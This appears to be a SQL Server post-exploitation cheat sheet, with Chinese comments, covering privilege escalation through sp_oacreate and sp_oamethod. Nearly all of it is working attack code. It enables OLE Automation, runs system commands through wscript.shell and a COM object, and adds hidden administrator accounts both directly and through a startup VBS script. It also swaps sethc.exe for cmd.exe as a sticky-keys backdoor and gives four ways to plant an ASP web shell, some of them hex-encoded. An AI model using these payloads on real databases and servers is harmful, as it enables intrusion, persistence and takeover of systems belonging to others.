-- sp_oacreate 提权
-- 如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用 sp_oacreate 和 sp_oamethod 调用系统 wscript.shell 来执行系统命令。
-- sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统 wscript.shell 来执行系统命令。
-- sp_oacreate 和 sp_oamethod 两个过程分别用来创建和执行脚本语言。
-- 利用条件
/*
已获取到 sqlserver sysadmin 权限用户的账号与密码且未降权(如 2019版本 sa用户 权限为 mssqlserver,已降权)
sqlserver 允许远程连接
OLE Automation Procedures 选项开启
*/
-- 查看 sp_oacreate 状态,返回1表示存在sp_oacreate系统存储过程
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
-- 开启 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
-- 关闭 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure with override;
exec sp_configure 'show advanced options',0;
reconfigure with override;
-- 调用 wscript.shell 执行命令
-- 创建文件,回显0表示成功
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\phpstudy\www\test1.txt';
-- 删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'C:\phpstudy\www\test1.txt'
exec sp_oadestroy @fso_token
-- 复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'C:\phpstudy\www\test.txt','C:\phpstudy\www\test1.txt'
-- 创建用户
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Toki 123456 /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Toki /add';
-- 替换 sethc 键
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int;
exec sp_oacreate 'scripting.filesystemobject', @oo out;
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\dllcache\sethc.exe';
-- 启动项中写入添加账户脚本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
-- COM组件的利用(cmd.exe 可以自行上传)
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 四种文件写入的方法
-- 利用条件
/*
物理路径已知
拥有sa权限
*/
-- 第一种存储过程写文件
declare @o int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\shell.asp', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>';
-- 第二种存储过程写文件,select '<%Execute(request("a"))%>' C:\zwell.asp
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;
-- 第三种log备份,<%execute(request("a"))%>
alter database <库名> set RECOVERY FULL;
create table cmd (a image);
backup log <库名> to disk = 'c:\\' with init;
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E);
backup log <库名> to disk = 'c:\shell.asp';
-- 第四种差异备份,<%execute(request("a"))%>
backup database <库名> to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database <库名> to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;